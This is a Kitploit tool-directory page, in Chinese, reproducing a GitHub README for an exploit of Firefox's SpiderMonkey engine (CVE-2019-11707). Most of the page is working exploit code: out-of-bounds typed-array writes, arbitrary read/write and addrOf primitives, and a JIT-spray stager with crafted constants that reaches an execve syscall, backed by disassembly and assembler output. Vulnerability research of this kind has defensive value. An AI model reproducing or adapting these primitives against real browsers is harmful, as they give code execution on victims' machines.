Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
工具/GitHubGitHub/flabbergastedbd/cve-2019-11707
漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用Shellcode 生成Payload 开发二进制利用
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

查看仓库
2246年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SpiderMonkey - CVE-2019-11707

Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

截图

source

exploit

文件

  • exploit.js - 实际利用代码,附加了saelo的util.js和Int64.js。
  • stager.js - 用于创建常量,附加了saelo的util.js和Int64.js。
  • stager.py - 使用keystone汇编指令。输出提供给。
stager.js

利用概述

  • 利用类型混淆写入类型化数组缓冲区之外(在setup()中完成)。
root@kitploit:~
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]
  • 简而言之:写入exploit_pack[0]的底层缓冲区之外,以覆盖exploit_pack[1]的数据指针字段。将其指向exploit_pack[2]的数据指针字段的地址。
root@kitploit:~
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • 可实现任意读写,地址可以通过设置exploit_pack[1]的内容来设定,这将内部修改exploit_pack[2]的数据指针。然后使用exploit_pack[2]读取或写入内存。
root@kitploit:~
function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • 利用exploit_pack自身构建一个addrOf原语。
root@kitploit:~
function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • 执行一个基础的JIT喷射,遍历一些结构以获取JIT函数指针,找到有趣的跳转偏移。用该偏移覆盖实际的函数指针。

JIT喷射

  • 简而言之,我们可以将如下函数强制放入r-x页面。
root@kitploit:~
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • JIT之后看起来像下面这样。你可以看到我们的常量0xdeadc0debaad。

Actual JIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • 如果相同的字节从不同的偏移开始被解析为指令,如以下所示,一切都变了。这就是JIT喷射的精髓。

Offset JIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • 思路是用我们控制的7个字节绕过4c 89 5d XX 49 bb 00这些字节。我们可以使用相对跳转跳过这些字节。
root@kitploit:~
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • 因此一个相对jmp占用2个字节,我们有5个字节来写入我们的汇编指令。当我们的函数被调用时,JIT函数参数在栈上的某个偏移处可用。因此我们的JIT函数正在接收参数。

registers

  • 根据x86-64在Linux上的系统调用约定,对于execve系统调用,我们需要在寄存器中设置以下内容。
root@kitploit:~
rax: syscall number
rdi: program path
rsi: argv
rdx: envp
  • 以下mov指令非常有用,可以将栈上某偏移处的值移动到相关寄存器。它正好是5个字节。
root@kitploit:~
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • 因此,我们可以构建我们的常量。参考stager.py -> stager.js了解如何生成这些常量。

  • 只需覆盖对象结构中的实际JIT函数指针,将其替换为偏移量。使用参数调用函数。

root@kitploit:~
write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • 鉴于stager的编写方式,使用3个参数执行任何系统调用都很容易。

超级有用的链接

  • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
  • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
  • https://vigneshsrao.github.io/writeup/
  • https://github.com/saelo/jscpwn
下载工具